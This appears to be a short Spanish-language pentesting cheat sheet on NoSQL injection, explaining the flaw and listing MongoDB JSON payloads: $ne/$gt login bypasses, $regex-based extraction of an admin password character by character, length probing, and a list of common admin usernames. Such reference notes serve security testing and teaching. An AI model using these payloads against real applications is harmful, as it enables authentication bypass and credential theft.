NoSQL Injection

¿Qué es?

Las inyecciones NoSQL son una vulnerabilidad de seguridad en las aplicaciones web que utilizan bases de datos NoSQL, como MongoDB, Cassandra y CouchDB, entre otras. Estas inyecciones se producen cuando una aplicación web permite que un atacante envíe datos maliciosos a través de una consulta a la base de datos, que luego puede ser ejecutada por la aplicación sin la debida validación o sanitización.

La inyección NoSQL funciona de manera similar a la inyección SQL, pero se enfoca en las vulnerabilidades específicas de las bases de datos NoSQL. En una inyección NoSQL, el atacante aprovecha las consultas de la base de datos que se basan en documentos en lugar de tablas relacionales, para enviar datos maliciosos que pueden manipular la consulta de la base de datos y obtener información confidencial o realizar acciones no autorizadas.

A diferencia de las inyecciones SQL, las inyecciones NoSQL explotan la falta de validación de los datos en una consulta a la base de datos NoSQL, en lugar de explotar las debilidades de las consultas SQL en las bases de datos relacionales.

¿Cómo provar?

// En peticiones json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "admin"}, "password": {"$ne": "loquesea"}}

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}


//Extraer información
// Ger Paswword
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} // Checar respuesta e ir iterando la m, se puede en burp intruder

// Para saber Tamaño de contrasela, jugar con regex.{number} hasta que deje de salir errores
{"username": {"$eq": "admin"}, "password": {"$regex": ".{30}" }}

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Laboratorio

Referencias

Última actualización